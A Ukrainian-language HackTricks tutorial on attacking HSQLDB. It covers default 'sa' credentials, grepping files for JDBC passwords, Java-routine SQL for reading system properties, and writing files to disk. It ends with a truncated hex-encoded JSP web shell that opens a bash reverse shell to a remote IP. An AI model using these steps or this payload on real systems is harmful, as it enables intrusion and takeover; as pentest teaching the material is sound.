tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
HSQLDB (HyperSQL DataBase) є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими.
Порт за замовчуванням: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Інформація
Налаштування за замовчуванням
Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.
Налаштування за замовчуванням зазвичай sa
з порожнім паролем.
Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Зверніть увагу на назву бази даних - вона знадобиться для підключення.
Збір інформації
Підключіться до екземпляра БД, завантаживши HSQLDB та витягнувши hsqldb/lib/hsqldb.jar
. Запустіть GUI додаток (eww) за допомогою java -jar hsqldb.jar
і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.
Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: jdbc:hsqldb:hsql://ip/DBNAME
.
Хитрощі
Рутини мови Java
Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.
JRT можуть бути функціями
або процедурами
. Функції можна викликати через SQL оператори, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою оператора VALUES
.
Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою оператора CALL
.
Читання властивостей системи Java
Створіть функцію:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Виконати функцію:
VALUES(getsystemproperty('user.name'))
Ви можете знайти список системних властивостей тут.
Запис вмісту у файл
Ви можете використовувати com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java гаджет, розташований у JDK (автоматично завантажується в клас шлях програми), щоб записувати шестигранно закодовані елементи на диск через користувацьку процедуру. Зверніть увагу на максимальний розмір 1024 байти.
Створіть процедуру:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Виконати процедуру:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.